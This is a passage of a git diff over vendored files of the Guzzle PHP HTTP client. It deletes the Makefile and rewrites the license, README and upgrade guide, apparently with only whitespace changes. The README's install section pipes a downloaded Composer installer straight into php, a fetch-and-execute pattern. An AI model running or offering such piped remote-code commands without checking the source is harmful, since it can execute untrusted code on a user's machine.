copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. +Copyright (c) 2011-2018 Michael Dowling, https://github.com/mtdowling + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/vendor/guzzlehttp/guzzle/Makefile b/vendor/guzzlehttp/guzzle/Makefile deleted file mode 100644 index 7a1e2c3f0a..0000000000 --- a/vendor/guzzlehttp/guzzle/Makefile +++ /dev/null @@ -1,78 +0,0 @@ -help: - @echo "Please use \`make ' where is one of" - @echo " start-server to start the test server" - @echo " stop-server to stop the test server" - @echo " test to perform unit tests. Provide TEST to perform a specific test." - @echo " coverage to perform unit tests with code coverage. Provide TEST to perform a specific test." - @echo " coverage-show to show the code coverage report" - @echo " clean to remove build artifacts" - @echo " docs to build the Sphinx docs" - @echo " docs-show to view the Sphinx docs" - @echo " tag to modify the version, update changelog, and chag tag" - @echo " package to build the phar and zip files" - @echo " static to run phpstan and php-cs-fixer on the codebase" - @echo " static-phpstan to run phpstan on the codebase" - @echo " static-phpstan-update-baseline to regenerate the phpstan baseline file" - @echo " static-codestyle-fix to run php-cs-fixer on the codebase, writing the changes" - @echo " static-codestyle-check to run php-cs-fixer on the codebase" - -start-server: stop-server - node tests/server.js &> /dev/null & - -stop-server: - @PID=$(shell ps axo pid,command \ - | grep 'tests/server.js' \ - | grep -v grep \ - | cut -f 1 -d " "\ - ) && [ -n "$$PID" ] && kill $$PID || true - -test: start-server - vendor/bin/phpunit - $(MAKE) stop-server - -coverage: start-server - vendor/bin/phpunit --coverage-html=build/artifacts/coverage - $(MAKE) stop-server - -coverage-show: view-coverage - -view-coverage: - open build/artifacts/coverage/index.html - -clean: - rm -rf artifacts/* - -docs: - cd docs && make html && cd .. - -docs-show: - open docs/_build/html/index.html - -tag: - $(if $(TAG),,$(error TAG is not defined. Pass via "make tag TAG=4.2.1")) - @echo Tagging $(TAG) - chag update $(TAG) - sed -i '' -e "s/VERSION = '.*'/VERSION = '$(TAG)'/" src/ClientInterface.php - php -l src/ClientInterface.php - git add -A - git commit -m '$(TAG) release' - chag tag - -package: - php build/packager.php - -static: static-phpstan static-codestyle-check - -static-phpstan: - docker run --rm -it -e REQUIRE_DEV=true -v ${PWD}:/app -w /app oskarstark/phpstan-ga:0.12.28 analyze $(PHPSTAN_PARAMS) - -static-phpstan-update-baseline: - $(MAKE) static-phpstan PHPSTAN_PARAMS="--generate-baseline" - -static-codestyle-fix: - docker run --rm -it -v ${PWD}:/app -w /app oskarstark/php-cs-fixer-ga:2.16.3.1 --diff-format udiff $(CS_PARAMS) - -static-codestyle-check: - $(MAKE) static-codestyle-fix CS_PARAMS="--dry-run" - -.PHONY: docs burgomaster coverage-show view-coverage diff --git a/vendor/guzzlehttp/guzzle/README.md b/vendor/guzzlehttp/guzzle/README.md index b8e9f8ec5e..5fdb6c5f42 100644 --- a/vendor/guzzlehttp/guzzle/README.md +++ b/vendor/guzzlehttp/guzzle/README.md @@ -1,90 +1,90 @@ -Guzzle, PHP HTTP client -======================= - -[![Latest Version](https://img.shields.io/github/release/guzzle/guzzle.svg?style=flat-square)](https://github.com/guzzle/guzzle/releases) -[![Build Status](https://img.shields.io/travis/guzzle/guzzle.svg?style=flat-square)](https://travis-ci.org/guzzle/guzzle) -[![Total Downloads](https://img.shields.io/packagist/dt/guzzlehttp/guzzle.svg?style=flat-square)](https://packagist.org/packages/guzzlehttp/guzzle) - -Guzzle is a PHP HTTP client that makes it easy to send HTTP requests and -trivial to integrate with web services. - -- Simple interface for building query strings, POST requests, streaming large - uploads, streaming large downloads, using HTTP cookies, uploading JSON data, - etc... -- Can send both synchronous and asynchronous requests using the same interface. -- Uses PSR-7 interfaces for requests, responses, and streams. This allows you - to utilize other PSR-7 compatible libraries with Guzzle. -- Abstracts away the underlying HTTP transport, allowing you to write - environment and transport agnostic code; i.e., no hard dependency on cURL, - PHP streams, sockets, or non-blocking event loops. -- Middleware system allows you to augment and compose client behavior. - -```php -$client = new \GuzzleHttp\Client(); -$response = $client->request('GET', 'https://api.github.com/repos/guzzle/guzzle'); - -echo $response->getStatusCode(); # 200 -echo $response->getHeaderLine('content-type'); # 'application/json; charset=utf8' -echo $response->getBody(); # '{"id": 1420053, "name": "guzzle", ...}' - -# Send an asynchronous request. -$request = new \GuzzleHttp\Psr7\Request('GET', 'http://httpbin.org'); -$promise = $client->sendAsync($request)->then(function ($response) { - echo 'I completed! ' . $response->getBody(); -}); - -$promise->wait(); -``` - -## Help and docs - -- [Documentation](http://guzzlephp.org/) -- [Stack Overflow](http://stackoverflow.com/questions/tagged/guzzle) -- [Gitter](https://gitter.im/guzzle/guzzle) - - -## Installing Guzzle - -The recommended way to install Guzzle is through -[Composer](http://getcomposer.org). - -```bash -# Install Composer -curl -sS https://getcomposer.org/installer | php -``` - -Next, run the Composer command to install the latest stable version of Guzzle: - -```bash -composer require guzzlehttp/guzzle -``` - -After installing, you need to require Composer's autoloader: - -```php -require 'vendor/autoload.php'; -``` - -You can then later update Guzzle using composer: - - ```bash -composer update - ``` - - -## Version Guidance - -| Version | Status | Packagist | Namespace | Repo | Docs | PSR-7 | PHP Version | -|---------|------------|---------------------|--------------|---------------------|---------------------|-------|-------------| -| 3.x | EOL | `guzzle/guzzle` | `Guzzle` | [v3][guzzle-3-repo] | [v3][guzzle-3-docs] | No | >= 5.3.3 | -| 4.x | EOL | `guzzlehttp/guzzle` | `GuzzleHttp` | [v4][guzzle-4-repo] | N/A | No | >= 5.4 | -| 5.x | EOL | `guzzlehttp/guzzle` | `GuzzleHttp` | [v5][guzzle-5-repo] | [v5][guzzle-5-docs] | No | >= 5.4 | -| 6.x | Latest | `guzzlehttp/guzzle` | `GuzzleHttp` | [v6][guzzle-6-repo] | [v6][guzzle-6-docs] | Yes | >= 5.5 | - -[guzzle-3-repo]: https://github.com/guzzle/guzzle3 -[guzzle-4-repo]: https://github.com/guzzle/guzzle/tree/4.x -[guzzle-5-repo]: https://github.com/guzzle/guzzle/tree/5.3 -[guzzle-6-repo]: https://github.com/guzzle/guzzle -[guzzle-3-docs]: http://guzzle3.readthedocs.org -[guzzle-5-docs]: http://guzzle.readthedocs.org/en/5.3/ -[guzzle-6-docs]: http://guzzle.readthedocs.org/en/latest/ +Guzzle, PHP HTTP client +======================= + +[![Latest Version](https://img.shields.io/github/release/guzzle/guzzle.svg?style=flat-square)](https://github.com/guzzle/guzzle/releases) +[![Build Status](https://img.shields.io/travis/guzzle/guzzle.svg?style=flat-square)](https://travis-ci.org/guzzle/guzzle) +[![Total Downloads](https://img.shields.io/packagist/dt/guzzlehttp/guzzle.svg?style=flat-square)](https://packagist.org/packages/guzzlehttp/guzzle) + +Guzzle is a PHP HTTP client that makes it easy to send HTTP requests and +trivial to integrate with web services. + +- Simple interface for building query strings, POST requests, streaming large + uploads, streaming large downloads, using HTTP cookies, uploading JSON data, + etc... +- Can send both synchronous and asynchronous requests using the same interface. +- Uses PSR-7 interfaces for requests, responses, and streams. This allows you + to utilize other PSR-7 compatible libraries with Guzzle. +- Abstracts away the underlying HTTP transport, allowing you to write + environment and transport agnostic code; i.e., no hard dependency on cURL, + PHP streams, sockets, or non-blocking event loops. +- Middleware system allows you to augment and compose client behavior. + +```php +$client = new \GuzzleHttp\Client(); +$response = $client->request('GET', 'https://api.github.com/repos/guzzle/guzzle'); + +echo $response->getStatusCode(); # 200 +echo $response->getHeaderLine('content-type'); # 'application/json; charset=utf8' +echo $response->getBody(); # '{"id": 1420053, "name": "guzzle", ...}' + +# Send an asynchronous request. +$request = new \GuzzleHttp\Psr7\Request('GET', 'http://httpbin.org'); +$promise = $client->sendAsync($request)->then(function ($response) { + echo 'I completed! ' . $response->getBody(); +}); + +$promise->wait(); +``` + +## Help and docs + +- [Documentation](http://guzzlephp.org/) +- [Stack Overflow](http://stackoverflow.com/questions/tagged/guzzle) +- [Gitter](https://gitter.im/guzzle/guzzle) + + +## Installing Guzzle + +The recommended way to install Guzzle is through +[Composer](http://getcomposer.org). + +```bash +# Install Composer +curl -sS https://getcomposer.org/installer | php +``` + +Next, run the Composer command to install the latest stable version of Guzzle: + +```bash +composer require guzzlehttp/guzzle +``` + +After installing, you need to require Composer's autoloader: + +```php +require 'vendor/autoload.php'; +``` + +You can then later update Guzzle using composer: + + ```bash +composer update + ``` + + +## Version Guidance + +| Version | Status | Packagist | Namespace | Repo | Docs | PSR-7 | PHP Version | +|---------|------------|---------------------|--------------|---------------------|---------------------|-------|-------------| +| 3.x | EOL | `guzzle/guzzle` | `Guzzle` | [v3][guzzle-3-repo] | [v3][guzzle-3-docs] | No | >= 5.3.3 | +| 4.x | EOL | `guzzlehttp/guzzle` | `GuzzleHttp` | [v4][guzzle-4-repo] | N/A | No | >= 5.4 | +| 5.x | EOL | `guzzlehttp/guzzle` | `GuzzleHttp` | [v5][guzzle-5-repo] | [v5][guzzle-5-docs] | No | >= 5.4 | +| 6.x | Latest | `guzzlehttp/guzzle` | `GuzzleHttp` | [v6][guzzle-6-repo] | [v6][guzzle-6-docs] | Yes | >= 5.5 | + +[guzzle-3-repo]: https://github.com/guzzle/guzzle3 +[guzzle-4-repo]: https://github.com/guzzle/guzzle/tree/4.x +[guzzle-5-repo]: https://github.com/guzzle/guzzle/tree/5.3 +[guzzle-6-repo]: https://github.com/guzzle/guzzle +[guzzle-3-docs]: http://guzzle3.readthedocs.org +[guzzle-5-docs]: http://guzzle.readthedocs.org/en/5.3/ +[guzzle-6-docs]: http://guzzle.readthedocs.org/en/latest/ diff --git a/vendor/guzzlehttp/guzzle/UPGRADING.md b/vendor/guzzlehttp/guzzle/UPGRADING.md index 3636fc691f..91d1dcc993 100644 --- a/vendor/guzzlehttp/guzzle/UPGRADING.md +++ b/vendor/guzzlehttp/guzzle/UPGRADING.md @@ -1,1203 +1,1203 @@ -Guzzle Upgrade Guide -==================== - -5.0 to 6.0 ----------- - -Guzzle now uses [PSR-7](http://www.php-fig.org/psr/psr-7/) for HTTP messages. -Due to the fact that these messages are immutable, this prompted a refactoring -of Guzzle to use a middleware based system rather than an event system. Any -HTTP message interaction (e.g., `GuzzleHttp\Message\Request`) need to be -updated to work with the new immutable PSR-7 request and response objects. Any -event listeners or subscribers need to be updated to become middleware -functions that wrap handlers (or are injected into a -`GuzzleHttp\HandlerStack`). - -- Removed `GuzzleHttp\BatchResults` -- Removed `GuzzleHttp\Collection` -- Removed `GuzzleHttp\HasDataTrait` -- Removed `GuzzleHttp\ToArrayInterface` -- The `guzzlehttp/streams` dependency has been removed. Stream functionality - is now present in the `GuzzleHttp\Psr7` namespace provided by the - `guzzlehttp/psr7` package. -- Guzzle no longer uses ReactPHP promises and now uses the - `guzzlehttp/promises` library. We use a custom promise library for three - significant reasons: - 1. React promises (at the time of writing this) are recursive. Promise - chaining and promise resolution will eventually blow the stack. Guzzle - promises are not recursive as they use a sort of trampolining technique. - Note: there has been movement in the React project to modify promises to - no longer utilize recursion. - 2. Guzzle needs to have the ability to synchronously block on a promise to - wait for a result. Guzzle promises allows this functionality (and does - not require the use of recursion). - 3. Because we need to be able to wait on a result, doing so using React - promises requires wrapping react promises with RingPHP futures. This - overhead is no longer needed, reducing stack sizes, reducing complexity, - and improving performance. -- `GuzzleHttp\Mimetypes` has been moved to a function in - `GuzzleHttp\Psr7\mimetype_from_extension` and - `GuzzleHttp\Psr7\mimetype_from_filename`. -- `GuzzleHttp\Query` and `GuzzleHttp\QueryParser` have been removed. Query - strings must now be passed into request objects as strings, or provided to - the `query` request option when creating requests with clients. The `query` - option uses PHP's `http_build_query` to convert an array to a string. If you - need a different serialization technique, you will need to pass the query - string in as a string. There are a couple helper functions that will make - working with query strings easier: `GuzzleHttp\Psr7\parse_query` and - `GuzzleHttp\Psr7\build_query`. -- Guzzle no longer has a dependency on RingPHP. Due to the use of a middleware - system based on PSR-7, using RingPHP and it's middleware system as well adds - more complexity than the benefits it provides. All HTTP handlers that were - present in RingPHP have been modified to work directly with PSR-7 messages - and placed in the `GuzzleHttp\Handler` namespace. This significantly reduces - complexity in Guzzle, removes a dependency, and improves performance. RingPHP - will be maintained for Guzzle 5 support, but will no longer be a part of - Guzzle 6. -- As Guzzle now uses a middleware based systems the event system and RingPHP - integration has been removed. Note: while the event system has been removed, - it is possible to add your own type of event system that is powered by the - middleware system. - - Removed the `Event` namespace. - - Removed the `Subscriber` namespace. - - Removed `Transaction` class - - Removed `RequestFsm` - - Removed `RingBridge` - - `GuzzleHttp\Subscriber\Cookie` is now provided by - `GuzzleHttp\Middleware::cookies` - - `GuzzleHttp\Subscriber\HttpError` is now provided by - `GuzzleHttp\Middleware::httpError` - - `GuzzleHttp\Subscriber\History` is now provided by - `GuzzleHttp\Middleware::history` - - `GuzzleHttp\Subscriber\Mock` is now provided by - `GuzzleHttp\Handler\MockHandler` - - `GuzzleHttp\Subscriber\Prepare` is now provided by - `GuzzleHttp\PrepareBodyMiddleware` - - `GuzzleHttp\Subscriber\Redirect` is now provided by - `GuzzleHttp\RedirectMiddleware` -- Guzzle now uses `Psr\Http\Message\UriInterface` (implements in - `GuzzleHttp\Psr7\Uri`) for URI support. `GuzzleHttp\Url` is now gone. -- Static functions in `GuzzleHttp\Utils` have been moved to namespaced - functions under the `GuzzleHttp` namespace. This requires either a Composer - based autoloader or you to include functions.php. -- `GuzzleHttp\ClientInterface::getDefaultOption` has been renamed to - `GuzzleHttp\ClientInterface::getConfig`. -- `GuzzleHttp\ClientInterface::setDefaultOption` has been removed. -- The `json` and `xml` methods of response objects has been removed. With the - migration to strictly adhering to PSR-7 as the interface for Guzzle messages, - adding methods to message interfaces would actually require Guzzle messages - to extend from PSR-7 messages rather then work with them directly. - -## Migrating to middleware - -The change to PSR-7 unfortunately required significant refactoring to Guzzle -due to the fact that PSR-7 messages are immutable. Guzzle 5 relied on an event -system from plugins. The event system relied on mutability of HTTP messages and -side effects in order to work. With immutable messages, you have to change your -workflow to become more about either returning a value (e.g., functional -middlewares) or setting a value on an object. Guzzle v6 has chosen the -functional middleware approach. - -Instead of using the event system to listen for things like the `before` event, -you now create a stack based middleware function that intercepts a request on -the way in and the promise of the response on the way out. This is a much -simpler and more predictable approach than the event system and works nicely -with PSR-7 middleware. Due to the use of promises, the middleware system is -also asynchronous. - -v5: - -```php -use GuzzleHttp\Event\BeforeEvent; -$client = new GuzzleHttp\Client(); -// Get the emitter and listen to the before event. -$client->getEmitter()->on('before', function (BeforeEvent $e) { - // Guzzle v5 events relied on mutation - $e->getRequest()->setHeader('X-Foo', 'Bar'); -}); -``` - -v6: - -In v6, you can modify the request before it is sent using the `mapRequest` -middleware. The idiomatic way in v6 to modify the request/response lifecycle is -to setup a handler middleware stack up front and inject the handler into a -client. - -```php -use GuzzleHttp\Middleware; -// Create a handler stack that has all of the default middlewares attached -$handler = GuzzleHttp\HandlerStack::create(); -// Push the handler onto the handler stack -$handler->push(Middleware::mapRequest(function (RequestInterface $request) { - // Notice that we have to return a request object - return $request->withHeader('X-Foo', 'Bar'); -})); -// Inject the handler into the client -$client = new GuzzleHttp\Client(['handler' => $handler]); -``` - -## POST Requests - -This version added the [`form_params`](http://guzzle.readthedocs.org/en/latest/request-options.html#form_params) -and `multipart` request options. `form_params` is an associative array of -strings or array of strings and is used to serialize an -`application/x-www-form-urlencoded` POST request. The -[`multipart`](http://guzzle.readthedocs.org/en/latest/request-options.html#multipart) -option is now used to send a multipart/form-data POST request. - -`GuzzleHttp\Post\PostFile` has been removed. Use the `multipart` option to add -POST files to a multipart/form-data request. - -The `body` option no longer accepts an array to send POST requests. Please use -`multipart` or `form_params` instead. - -The `base_url` option has been renamed to `base_uri`. - -4.x to 5.0 ----------- - -## Rewritten Adapter Layer - -Guzzle now uses [RingPHP](http://ringphp.readthedocs.org/en/latest) to send -HTTP requests. The `adapter` option in a `GuzzleHttp\Client` constructor -is still supported, but it has now been renamed to `handler`. Instead of -passing a `GuzzleHttp\Adapter\AdapterInterface`, you must now pass a PHP -`callable` that follows the RingPHP specification. - -## Removed Fluent Interfaces - -[Fluent interfaces were removed](http://ocramius.github.io/blog/fluent-interfaces-are-evil) -from the following classes: - -- `GuzzleHttp\Collection` -- `GuzzleHttp\Url` -- `GuzzleHttp\Query` -- `GuzzleHttp\Post\PostBody` -- `GuzzleHttp\Cookie\SetCookie` - -## Removed functions.php - -Removed "functions.php", so that Guzzle is truly PSR-4 compliant. The following -functions can be used as replacements. - -- `GuzzleHttp\json_decode` -> `GuzzleHttp\Utils::jsonDecode` -- `GuzzleHttp\get_path` -> `GuzzleHttp\Utils::getPath` -- `GuzzleHttp\Utils::setPath` -> `GuzzleHttp\set_path` -- `GuzzleHttp\Pool::batch` -> `GuzzleHttp\batch`. This function is, however, - deprecated in favor of using `GuzzleHttp\Pool::batch()`. - -The "procedural" global client has been removed with no replacement (e.g., -`GuzzleHttp\get()`, `GuzzleHttp\post()`, etc.). Use a `GuzzleHttp\Client` -object as a replacement. - -## `throwImmediately` has been removed - -The concept of "throwImmediately" has been removed from exceptions and error -events. This control mechanism was used to stop a transfer of concurrent -requests from completing. This can now be handled by throwing the exception or -by cancelling a pool of requests or each outstanding future request -individually. - -## headers event has been removed - -Removed the "headers" event. This event was only useful for changing the -body a response once the headers of the response were known. You can implement -a similar behavior in a number of ways. One example might be to use a -FnStream that has access to the transaction being sent. For example, when the -first byte is written, you could check if the response headers match your -expectations, and if so, change the actual stream body that is being -written to. - -## Updates to HTTP Messages - -Removed the `asArray` parameter from -`GuzzleHttp\Message\MessageInterface::getHeader`. If you want to get a header -value as an array, then use the newly added `getHeaderAsArray()` method of -`MessageInterface`. This change makes the Guzzle interfaces compatible with -the PSR-7 interfaces. - -3.x to 4.0 ----------- - -## Overarching changes: - -- Now requires PHP 5.4 or greater. -- No longer requires cURL to send requests. -- Guzzle no longer wraps every exception it throws. Only exceptions that are - recoverable are now wrapped by Guzzle. -- Various namespaces have been removed or renamed. -- No longer requiring the Symfony EventDispatcher. A custom event dispatcher - based on the Symfony EventDispatcher is - now utilized in `GuzzleHttp\Event\EmitterInterface` (resulting in significant - speed and functionality improvements). - -Changes per Guzzle 3.x namespace are described below. - -## Batch - -The `Guzzle\Batch` namespace has been removed. This is best left to -third-parties to implement on top of Guzzle's core HTTP library. - -## Cache - -The `Guzzle\Cache` namespace has been removed. (Todo: No suitable replacement -has been implemented yet, but hoping to utilize a PSR cache interface). - -## Common - -- Removed all of the wrapped exceptions. It's better to use the standard PHP - library for unrecoverable exceptions. -- `FromConfigInterface` has been removed. -- `Guzzle\Common\Version` has been removed. The VERSION constant can be found - at `GuzzleHttp\ClientInterface::VERSION`. - -### Collection - -- `getAll` has been removed. Use `toArray` to convert a collection to an array. -- `inject` has been removed. -- `keySearch` has been removed. -- `getPath` no longer supports wildcard expressions. Use something better like - JMESPath for this. -- `setPath` now supports appending to an existing array via the `[]` notation. - -### Events - -Guzzle no longer requires Symfony's EventDispatcher component. Guzzle now uses -`GuzzleHttp\Event\Emitter`. - -- `Symfony\Component\EventDispatcher\EventDispatcherInterface` is replaced by - `GuzzleHttp\Event\EmitterInterface`. -- `Symfony\Component\EventDispatcher\EventDispatcher` is replaced by - `GuzzleHttp\Event\Emitter`. -- `Symfony\Component\EventDispatcher\Event` is replaced by - `GuzzleHttp\Event\Event`, and Guzzle now has an EventInterface in - `GuzzleHttp\Event\EventInterface`. -- `AbstractHasDispatcher` has moved to a trait, `HasEmitterTrait`, and - `HasDispatcherInterface` has moved to `HasEmitterInterface`. Retrieving the - event emitter of a request, client, etc. now uses the `getEmitter` method - rather than the `getDispatcher` method. - -#### Emitter - -- Use the `once()` method to add a listener that automatically removes itself - the first time it is invoked. -- Use the `listeners()` method to retrieve a list of event listeners rather than - the `getListeners()` method. -- Use `emit()` instead of `dispatch()` to emit an event from an emitter. -- Use `attach()` instead of `addSubscriber()` and `detach()` instead of - `removeSubscriber()`. - -```php -$mock = new Mock(); -// 3.x -$request->getEventDispatcher()->addSubscriber($mock); -$request->getEventDispatcher()->removeSubscriber($mock); -// 4.x -$request->getEmitter()->attach($mock); -$request->getEmitter()->detach($mock); -``` - -Use the `on()` method to add a listener rather than the `addListener()` method. - -```php -// 3.x -$request->getEventDispatcher()->addListener('foo', function (Event $event) { /* ... */ } ); -// 4.x -$request->getEmitter()->on('foo', function (Event $event, $name) { /* ... */ } ); -``` - -## Http - -### General changes - -- The cacert.pem certificate has been moved to `src/cacert.pem`. -- Added the concept of adapters that are used to transfer requests over the - wire. -- Simplified the event system. -- Sending requests in parallel is still possible, but batching is no longer a - concept of the HTTP layer. Instead, you must use the `complete` and `error` - events to asynchronously manage parallel request transfers. -- `Guzzle\Http\Url` has moved to `GuzzleHttp\Url`. -- `Guzzle\Http\QueryString` has moved to `GuzzleHttp\Query`. -- QueryAggregators have been rewritten so that they are simply callable - functions. -- `GuzzleHttp\StaticClient` has been removed. Use the functions provided in - `functions.php` for an easy to use static client instance. -- Exceptions in `GuzzleHttp\Exception` have been updated to all extend from - `GuzzleHttp\Exception\TransferException`. - -### Client - -Calling methods like `get()`, `post()`, `head()`, etc. no longer create and -return a request, but rather creates a request, sends the request, and returns -the response. - -```php -// 3.0 -$request = $client->get('/'); -$response = $request->send(); - -// 4.0 -$response = $client->get('/'); - -// or, to mirror the previous behavior -$request = $client->createRequest('GET', '/'); -$response = $client->send($request); -``` - -`GuzzleHttp\ClientInterface` has changed. - -- The `send` method no longer accepts more than one request. Use `sendAll` to - send multiple requests in parallel. -- `setUserAgent()` has been removed. Use a default request option instead. You - could, for example, do something like: - `$client->setConfig('defaults/headers/User-Agent', 'Foo/Bar ' . $client::getDefaultUserAgent())`. -- `setSslVerification()` has been removed. Use default request options instead, - like `$client->setConfig('defaults/verify', true)`. - -`GuzzleHttp\Client` has changed. - -- The constructor now accepts only an associative array. You can include a - `base_url` string or array to use a URI template as the base URL of a client. - You can also specify a `defaults` key that is an associative array of default - request options. You can pass an `adapter` to use a custom adapter, - `batch_adapter` to use a custom adapter for sending requests in parallel, or - a `message_factory` to change the factory used to create HTTP requests and - responses. -- The client no longer emits a `client.create_request` event. -- Creating requests with a client no longer automatically utilize a URI - template. You must pass an array into a creational method (e.g., - `createRequest`, `get`, `put`, etc.) in order to expand a URI template. - -### Messages - -Messages no longer have references to their counterparts (i.e., a request no -longer has a reference to it's response, and a response no loger has a -reference to its request). This association is now managed through a -`GuzzleHttp\Adapter\TransactionInterface` object. You can get references to -these transaction objects using request events that are emitted over the -lifecycle of a request. - -#### Requests with a body - -- `GuzzleHttp\Message\EntityEnclosingRequest` and - `GuzzleHttp\Message\EntityEnclosingRequestInterface` have been removed. The - separation between requests that contain a body and requests that do not - contain a body has been removed, and now `GuzzleHttp\Message\RequestInterface` - handles both use cases. -- Any method that previously accepts a `GuzzleHttp\Response` object now accept a - `GuzzleHttp\Message\ResponseInterface`. -- `GuzzleHttp\Message\RequestFactoryInterface` has been renamed to - `GuzzleHttp\Message\MessageFactoryInterface`. This interface is used to create - both requests and responses and is implemented in - `GuzzleHttp\Message\MessageFactory`. -- POST field and file methods have been removed from the request object. You - must now use the methods made available to `GuzzleHttp\Post\PostBodyInterface` - to control the format of a POST body. Requests that are created using a - standard `GuzzleHttp\Message\MessageFactoryInterface` will automatically use - a `GuzzleHttp\Post\PostBody` body if the body was passed as an array or if - the method is POST and no body is provided. - -```php -$request = $client->createRequest('POST', '/'); -$request->getBody()->setField('foo', 'bar'); -$request->getBody()->addFile(new PostFile('file_key', fopen('/path/to/content', 'r'))); -``` - -#### Headers - -- `GuzzleHttp\Message\Header` has been removed. Header values are now simply - represented by an array of values or as a string. Header values are returned - as a string by default when retrieving a header value from a message. You can - pass an optional argument of `true` to retrieve a header value as an array - of strings instead of a single concatenated string. -- `GuzzleHttp\PostFile` and `GuzzleHttp\PostFileInterface` have been moved to - `GuzzleHttp\Post`. This interface has been simplified and now allows the - addition of arbitrary headers. -- Custom headers like `GuzzleHttp\Message\Header\Link` have been removed. Most - of the custom headers are now handled separately in specific - subscribers/plugins, and `GuzzleHttp\Message\HeaderValues::parseParams()` has - been updated to properly handle headers that contain parameters (like the - `Link` header). - -#### Responses - -- `GuzzleHttp\Message\Response::getInfo()` and - `GuzzleHttp\Message\Response::setInfo()` have been removed. Use the event - system to retrieve this type of information. -- `GuzzleHttp\Message\Response::getRawHeaders()` has been removed. -- `GuzzleHttp\Message\Response::getMessage()` has been removed. -- `GuzzleHttp\Message\Response::calculateAge()` and other cache specific - methods have moved to the CacheSubscriber. -- Header specific helper functions like `getContentMd5()` have been removed. - Just use `getHeader('Content-MD5')` instead. -- `GuzzleHttp\Message\Response::setRequest()` and - `GuzzleHttp\Message\Response::getRequest()` have been removed. Use the event - system to work with request and response objects as a transaction. -- `GuzzleHttp\Message\Response::getRedirectCount()` has been removed. Use the - Redirect subscriber instead. -- `GuzzleHttp\Message\Response::isSuccessful()` and other related methods have - been removed. Use `getStatusCode()` instead. - -#### Streaming responses - -Streaming requests can now be created by a client directly, returning a -`GuzzleHttp\Message\ResponseInterface` object that contains a body stream -referencing an open PHP HTTP stream. - -```php -// 3.0 -use Guzzle\Stream\PhpStreamRequestFactory; -$request = $client->get('/'); -$factory = new PhpStreamRequestFactory(); -$stream = $factory->fromRequest($request); -$data = $stream->read(1024); - -// 4.0 -$response = $client->get('/', ['stream' => true]); -// Read some data off of the stream in the response body -$data = $response->getBody()->read(1024); -``` - -#### Redirects - -The `configureRedirects()` method has been removed in favor of a -`allow_redirects` request option. - -```php -// Standard redirects with a default of a max of 5 redirects -$request = $client->createRequest('GET', '/', ['allow_redirects' => true]); - -// Strict redirects with a custom number of redirects -$request = $client->createRequest('GET', '/', [ - 'allow_redirects' => ['max' => 5, 'strict' => true] -]); -``` - -#### EntityBody - -EntityBody interfaces and classes have been removed or moved to -`GuzzleHttp\Stream`. All classes and interfaces that once required -`GuzzleHttp\EntityBodyInterface` now require -`GuzzleHttp\Stream\StreamInterface`. Creating a new body for a request no -longer uses `GuzzleHttp\EntityBody::factory` but now uses -`GuzzleHttp\Stream\Stream::factory` or even better: -`GuzzleHttp\Stream\create()`. - -- `Guzzle\Http\EntityBodyInterface` is now `GuzzleHttp\Stream\StreamInterface` -- `Guzzle\Http\EntityBody` is now `GuzzleHttp\Stream\Stream` -- `Guzzle\Http\CachingEntityBody` is now `GuzzleHttp\Stream\CachingStream` -- `Guzzle\Http\ReadLimitEntityBody` is now `GuzzleHttp\Stream\LimitStream` -- `Guzzle\Http\IoEmittyinEntityBody` has been removed. - -#### Request lifecycle events - -Requests previously submitted a large number of requests. The number of events -emitted over the lifecycle of a request has been significantly reduced to make -it easier to understand how to extend the behavior of a request. All events -emitted during the lifecycle of a request now emit a custom -`GuzzleHttp\Event\EventInterface` object that contains context providing -methods and a way in which to modify the transaction at that specific point in -time (e.g., intercept the request and set a response on the transaction). - -- `request.before_send` has been renamed to `before` and now emits a - `GuzzleHttp\Event\BeforeEvent` -- `request.complete` has been renamed to `complete` and now emits a - `GuzzleHttp\Event\CompleteEvent`. -- `request.sent` has been removed. Use `complete`. -- `request.success` has been removed. Use `complete`. -- `error` is now an event that emits a `GuzzleHttp\Event\ErrorEvent`. -- `request.exception` has been removed. Use `error`. -- `request.receive.status_line` has been removed. -- `curl.callback.progress` has been removed. Use a custom `StreamInterface` to - maintain a status update. -- `curl.callback.write` has been removed. Use a custom `StreamInterface` to - intercept writes. -- `curl.callback.read` has been removed. Use a custom `StreamInterface` to - intercept reads. - -`headers` is a new event that is emitted after the response headers of a -request have been received before the body of the response is downloaded. This -event emits a `GuzzleHttp\Event\HeadersEvent`. - -You can intercept a request and inject a response using the `intercept()` event -of a `GuzzleHttp\Event\BeforeEvent`, `GuzzleHttp\Event\CompleteEvent`, and -`GuzzleHttp\Event\ErrorEvent` event. - -See: http://docs.guzzlephp.org/en/latest/events.html - -## Inflection - -The `Guzzle\Inflection` namespace has been removed. This is not a core concern -of Guzzle. - -## Iterator - -The `Guzzle\Iterator` namespace has been removed. - -- `Guzzle\Iterator\AppendIterator`, `Guzzle\Iterator\ChunkedIterator`, and - `Guzzle\Iterator\MethodProxyIterator` are nice, but not a core requirement of - Guzzle itself. -- `Guzzle\Iterator\FilterIterator` is no longer needed because an equivalent - class is shipped with PHP 